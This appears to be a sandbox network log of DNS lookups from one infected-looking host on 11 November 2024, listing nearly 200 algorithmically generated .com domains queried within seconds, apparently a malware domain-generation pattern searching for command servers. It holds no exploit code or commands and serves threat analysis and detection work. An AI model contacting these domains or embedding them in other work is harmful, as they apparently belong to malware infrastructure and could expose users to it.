                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.236901045 CET192.168.2.41.1.1.10xe606Standard query (0)gahyzez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.237102032 CET192.168.2.41.1.1.10x545fStandard query (0)vojyzyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.237462997 CET192.168.2.41.1.1.10xd98Standard query (0)pufylap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.239186049 CET192.168.2.41.1.1.10xfdfeStandard query (0)gatyqih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.239614964 CET192.168.2.41.1.1.10xf2adStandard query (0)lysywon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.251776934 CET192.168.2.41.1.1.10x4d0aStandard query (0)lykyxur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.251832962 CET192.168.2.41.1.1.10x831fStandard query (0)lyvyfad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.252012014 CET192.168.2.41.1.1.10x9fb8Standard query (0)lykytej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.255166054 CET192.168.2.41.1.1.10x3f46Standard query (0)purymuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.282020092 CET192.168.2.41.1.1.10xdc23Standard query (0)qetyquq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.285604000 CET192.168.2.41.1.1.10xb211Standard query (0)vojyrak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.286916018 CET192.168.2.41.1.1.10xfd58Standard query (0)lyvyvix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.287089109 CET192.168.2.41.1.1.10x5bc5Standard query (0)qebyvop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.287277937 CET192.168.2.41.1.1.10x9fd6Standard query (0)pujyxyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.287503004 CET192.168.2.41.1.1.10x7ecStandard query (0)pufytev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.287580967 CET192.168.2.41.1.1.10xdae7Standard query (0)lygytyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.287810087 CET192.168.2.41.1.1.10xfadaStandard query (0)qebyfav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.288444042 CET192.168.2.41.1.1.10xe9acStandard query (0)gaqyhuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.288460970 CET192.168.2.41.1.1.10xab38Standard query (0)pujyteq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.288793087 CET192.168.2.41.1.1.10x42bdStandard query (0)ganyvoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.289074898 CET192.168.2.41.1.1.10xb2e3Standard query (0)vopyjuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.289236069 CET192.168.2.41.1.1.10x5f95Standard query (0)puvycip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.428875923 CET192.168.2.41.1.1.10x8b88Standard query (0)gadykos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.429234028 CET192.168.2.41.1.1.10x36b4Standard query (0)lymyner.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.541455984 CET192.168.2.41.1.1.10x7b32Standard query (0)pumybal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.541610003 CET192.168.2.41.1.1.10xec74Standard query (0)vonybat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.542042971 CET192.168.2.41.1.1.10xb5f7Standard query (0)qekytyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.551973104 CET192.168.2.41.1.1.10xb3fStandard query (0)volypum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.553200960 CET192.168.2.41.1.1.10x1705Standard query (0)qedykiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.558469057 CET192.168.2.41.1.1.10x3d6cStandard query (0)lysyjid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.558469057 CET192.168.2.41.1.1.10x19c8Standard query (0)galypyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.787269115 CET192.168.2.41.1.1.10x3d95Standard query (0)puzypug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.347524881 CET192.168.2.41.1.1.10x2b79Standard query (0)galyros.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.354809999 CET192.168.2.41.1.1.10xe85bStandard query (0)lykywid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.359178066 CET192.168.2.41.1.1.10x8b8Standard query (0)pumycug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.361063957 CET192.168.2.41.1.1.10x8fb6Standard query (0)pufyjuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.370073080 CET192.168.2.41.1.1.10x4bc1Standard query (0)gadyhyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.398422003 CET192.168.2.41.1.1.10x9146Standard query (0)qedyhyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.398608923 CET192.168.2.41.1.1.10x66d2Standard query (0)ganycuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.419773102 CET192.168.2.41.1.1.10x6a39Standard query (0)pupygel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.429765940 CET192.168.2.41.1.1.10x3353Standard query (0)gahykih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.434423923 CET192.168.2.41.1.1.10x8610Standard query (0)gaqyvob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.436178923 CET192.168.2.41.1.1.10x4ea7Standard query (0)puzyxyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.436444044 CET192.168.2.41.1.1.10xb722Standard query (0)lyrynad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.437304974 CET192.168.2.41.1.1.10xa19fStandard query (0)qeqyfaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.437520981 CET192.168.2.41.1.1.10x77a0Standard query (0)lyxyxyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.438508987 CET192.168.2.41.1.1.10xb58cStandard query (0)pufywil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.438978910 CET192.168.2.41.1.1.10x2e89Standard query (0)qexyxuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.440247059 CET192.168.2.41.1.1.10xac4bStandard query (0)lygywor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.440479040 CET192.168.2.41.1.1.10xcf56Standard query (0)qexytep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.445219040 CET192.168.2.41.1.1.10xbdfeStandard query (0)pujylog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.455080986 CET192.168.2.41.1.1.10xc08dStandard query (0)vopymyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.458595991 CET192.168.2.41.1.1.10x5d31Standard query (0)pupymyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.507616043 CET192.168.2.41.1.1.10xd93dStandard query (0)volyrac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.507998943 CET192.168.2.41.1.1.10xc339Standard query (0)vocypyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.508079052 CET192.168.2.41.1.1.10xd832Standard query (0)lysyger.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.508452892 CET192.168.2.41.1.1.10x6198Standard query (0)vopygat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.509011030 CET192.168.2.41.1.1.10xeb15Standard query (0)qeqyvig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.509828091 CET192.168.2.41.1.1.10x7f88Standard query (0)purygeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.528050900 CET192.168.2.41.1.1.10x4388Standard query (0)lymyfoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.529675007 CET192.168.2.41.1.1.10x9b64Standard query (0)lygyjuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.529769897 CET192.168.2.41.1.1.10x7296Standard query (0)qebyxyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.529920101 CET192.168.2.41.1.1.10x4361Standard query (0)gadyquz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.529962063 CET192.168.2.41.1.1.10x1909Standard query (0)lyrygyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.530097961 CET192.168.2.41.1.1.10x6ffdStandard query (0)lymyvin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.530158997 CET192.168.2.41.1.1.10xa381Standard query (0)vowygem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.530282974 CET192.168.2.41.1.1.10xf5dStandard query (0)qetynev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.530325890 CET192.168.2.41.1.1.10xeec2Standard query (0)vonycum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.530461073 CET192.168.2.41.1.1.10xdba0Standard query (0)pumydoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.530493975 CET192.168.2.41.1.1.10xf287Standard query (0)lykylan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.530663013 CET192.168.2.41.1.1.10x7ff8Standard query (0)ganydiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.530684948 CET192.168.2.41.1.1.10xf92Standard query (0)lyvysur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.530863047 CET192.168.2.41.1.1.10x1df8Standard query (0)qebysul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.531002998 CET192.168.2.41.1.1.10xcf92Standard query (0)gatynes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.531435013 CET192.168.2.41.1.1.10xe766Standard query (0)purybav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.531537056 CET192.168.2.41.1.1.10x92d8Standard query (0)puvypul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.532747984 CET192.168.2.41.1.1.10x66b8Standard query (0)vowybof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.533050060 CET192.168.2.41.1.1.10xa375Standard query (0)lysymux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.533268929 CET192.168.2.41.1.1.10xefaeStandard query (0)qegyrol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.533436060 CET192.168.2.41.1.1.10x7ebaStandard query (0)qegykiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.533938885 CET192.168.2.41.1.1.10xffeaStandard query (0)qekylag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.533938885 CET192.168.2.41.1.1.10x6c53Standard query (0)puzytap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.533938885 CET192.168.2.41.1.1.10x88deStandard query (0)vojykom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.538614035 CET192.168.2.41.1.1.10x94feStandard query (0)lyxytex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.539073944 CET192.168.2.41.1.1.10x37bbStandard query (0)vonydik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.540858030 CET192.168.2.41.1.1.10xb809Standard query (0)vocycuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.541172028 CET192.168.2.41.1.1.10x237bStandard query (0)gaqyfah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.542850971 CET192.168.2.41.1.1.10xa61cStandard query (0)gahyraw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.544981003 CET192.168.2.41.1.1.10x3aa6Standard query (0)volyzef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.547281027 CET192.168.2.41.1.1.10x3afaStandard query (0)gacycus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.548548937 CET192.168.2.41.1.1.10x224fStandard query (0)qedyqup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.550720930 CET192.168.2.41.1.1.10xa8f2Standard query (0)galyzeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.552133083 CET192.168.2.41.1.1.10x10f1Standard query (0)gacypyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.552283049 CET192.168.2.41.1.1.10x8f02Standard query (0)qekyrov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.553870916 CET192.168.2.41.1.1.10x244eStandard query (0)vofyqit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:04.560328960 CET192.168.2.41.1.1.10xb9b7Standard query (0)vofyjuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.075423956 CET192.168.2.41.1.1.10xf759Standard query (0)galyquw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.082953930 CET192.168.2.41.1.1.10xdf79Standard query (0)vofygaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.083219051 CET192.168.2.41.1.1.10x8e0fStandard query (0)qeqyxyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.087224960 CET192.168.2.41.1.1.10x4e3Standard query (0)puzywuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.088947058 CET192.168.2.41.1.1.10x83b7Standard query (0)gadyfob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.089803934 CET192.168.2.41.1.1.10x22cfStandard query (0)lysyfin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.100990057 CET192.168.2.41.1.1.10xae8eStandard query (0)volyquk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.107168913 CET192.168.2.41.1.1.10xa7ecStandard query (0)lymyxex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.115621090 CET192.168.2.41.1.1.10x3e4eStandard query (0)qexyriq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.115685940 CET192.168.2.41.1.1.10x362aStandard query (0)pujywiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.154999018 CET192.168.2.41.1.1.10xf533Standard query (0)pufygav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.195158005 CET192.168.2.41.1.1.10xb542Standard query (0)qebyteg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.195158005 CET192.168.2.41.1.1.10x45abStandard query (0)lyryvur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.195641994 CET192.168.2.41.1.1.10xd20Standard query (0)qedynaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.196291924 CET192.168.2.41.1.1.10x8f5cStandard query (0)purycul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.236582041 CET192.168.2.41.1.1.10xc4e4Standard query (0)qedyfog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.236706018 CET192.168.2.41.1.1.10xbd76Standard query (0)qeqysuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.237320900 CET192.168.2.41.1.1.10xa0d0Standard query (0)gacyroh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.237426996 CET192.168.2.41.1.1.10x7400Standard query (0)volykit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.238044977 CET192.168.2.41.1.1.10x7792Standard query (0)lyvytan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.238385916 CET192.168.2.41.1.1.10xc275Standard query (0)lyvyxyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.238925934 CET192.168.2.41.1.1.10x79d6Standard query (0)lyxylor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.239331961 CET192.168.2.41.1.1.10x37ecStandard query (0)pujyjup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.239876032 CET192.168.2.41.1.1.10xe7b9Standard query (0)gatyfaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.240360022 CET192.168.2.41.1.1.10xa2fbStandard query (0)gahyhys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.240775108 CET192.168.2.41.1.1.10xe64fStandard query (0)puzylol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.241017103 CET192.168.2.41.1.1.10xdd43Standard query (0)puvyxeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.244515896 CET192.168.2.41.1.1.10x1f9bStandard query (0)gatyviw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.244913101 CET192.168.2.41.1.1.10x6e5fStandard query (0)qegyhev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.245023012 CET192.168.2.41.1.1.10xbb93Standard query (0)vojyquf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.245439053 CET192.168.2.41.1.1.10x34bStandard query (0)gaqycyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.246601105 CET192.168.2.41.1.1.10x8787Standard query (0)lygymyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.267510891 CET192.168.2.41.1.1.10x868aStandard query (0)ganypeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.267607927 CET192.168.2.41.1.1.10xd9f9Standard query (0)vonyzac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.267692089 CET192.168.2.41.1.1.10xff0fStandard query (0)pumyxep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.268089056 CET192.168.2.41.1.1.10xc21eStandard query (0)lysynaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.269032955 CET192.168.2.41.1.1.10xa156Standard query (0)gadyneh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.269207954 CET192.168.2.41.1.1.10xcd16Standard query (0)lygyged.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.269387960 CET192.168.2.41.1.1.10xc02Standard query (0)qexylal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.271033049 CET192.168.2.41.1.1.10x9ec3Standard query (0)vopybok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.271796942 CET192.168.2.41.1.1.10xe909Standard query (0)vocyrom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.272207022 CET192.168.2.41.1.1.10xa88cStandard query (0)vowydic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.281970978 CET192.168.2.41.1.1.10x3d44Standard query (0)pupyboq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.284868956 CET192.168.2.41.1.1.10x5fa4Standard query (0)vofymem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.285274029 CET192.168.2.41.1.1.10x57d1Standard query (0)lyxywij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.285566092 CET192.168.2.41.1.1.10xc9fdStandard query (0)vojyjyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.290095091 CET192.168.2.41.1.1.10x16d5Standard query (0)gahyqub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.290276051 CET192.168.2.41.1.1.10xf10aStandard query (0)vocyzek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.290472031 CET192.168.2.41.1.1.10x7d04Standard query (0)gaqydus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.290678978 CET192.168.2.41.1.1.10x2701Standard query (0)galykiz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.292273998 CET192.168.2.41.1.1.10x72a6Standard query (0)lyryfox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.292443037 CET192.168.2.41.1.1.10x2aadStandard query (0)purydip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.292653084 CET192.168.2.41.1.1.10x9732Standard query (0)qetyvil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.292818069 CET192.168.2.41.1.1.10x980cStandard query (0)qetyfop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.292947054 CET192.168.2.41.1.1.10x36e7Standard query (0)lykyjux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.295845985 CET192.168.2.41.1.1.10x370bStandard query (0)gacyzaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.296036959 CET192.168.2.41.1.1.10x44ecStandard query (0)vowycut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.296185970 CET192.168.2.41.1.1.10x4ae1Standard query (0)puvytag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.296938896 CET192.168.2.41.1.1.10xb797Standard query (0)lymysud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.297540903 CET192.168.2.41.1.1.10x9a2aStandard query (0)vonypyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.298140049 CET192.168.2.41.1.1.10x4f95Standard query (0)pumypyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.298666000 CET192.168.2.41.1.1.10xcb31Standard query (0)qekykup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.298835993 CET192.168.2.41.1.1.10x57b4Standard query (0)pufymyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.299000025 CET192.168.2.41.1.1.10x394Standard query (0)qegyqug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.724231958 CET192.168.2.41.1.1.10x602Standard query (0)lyrysyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.726874113 CET192.168.2.41.1.1.10x2ae2Standard query (0)vocykif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.729764938 CET192.168.2.41.1.1.10xd29fStandard query (0)purypyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.731219053 CET192.168.2.41.1.1.10xf9c7Standard query (0)qekyqyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.731466055 CET192.168.2.41.1.1.10x1153Standard query (0)pupydig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.732372999 CET192.168.2.41.1.1.10xfb93Standard query (0)qebylov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.732992887 CET192.168.2.41.1.1.10x94b6Standard query (0)vojymet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.733614922 CET192.168.2.41.1.1.10x5495Standard query (0)ganyzas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.733928919 CET192.168.2.41.1.1.10x5debStandard query (0)lykymyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.735152960 CET192.168.2.41.1.1.10x41cbStandard query (0)lyvylod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.735425949 CET192.168.2.41.1.1.10x42c9Standard query (0)qegynap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.736114025 CET192.168.2.41.1.1.10x5b33Standard query (0)gatycyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.736402035 CET192.168.2.41.1.1.10x65eaStandard query (0)pujymel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.736633062 CET192.168.2.41.1.1.10xe33eStandard query (0)gahynaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.737226963 CET192.168.2.41.1.1.10x6663Standard query (0)vopydum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.738002062 CET192.168.2.41.1.1.10x237dStandard query (0)lymylij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.738570929 CET192.168.2.41.1.1.10x8ab1Standard query (0)puvyliv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.738622904 CET192.168.2.41.1.1.10x7aacStandard query (0)gatyduh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.738806009 CET192.168.2.41.1.1.10x5fdaStandard query (0)qetysuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.739550114 CET192.168.2.41.1.1.10x8006Standard query (0)gadyduz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:06.746649027 CET192.168.2.41.1.1.10x5cc8Standard query (0)vofydut.comA (IP address)IN (0x0001)false
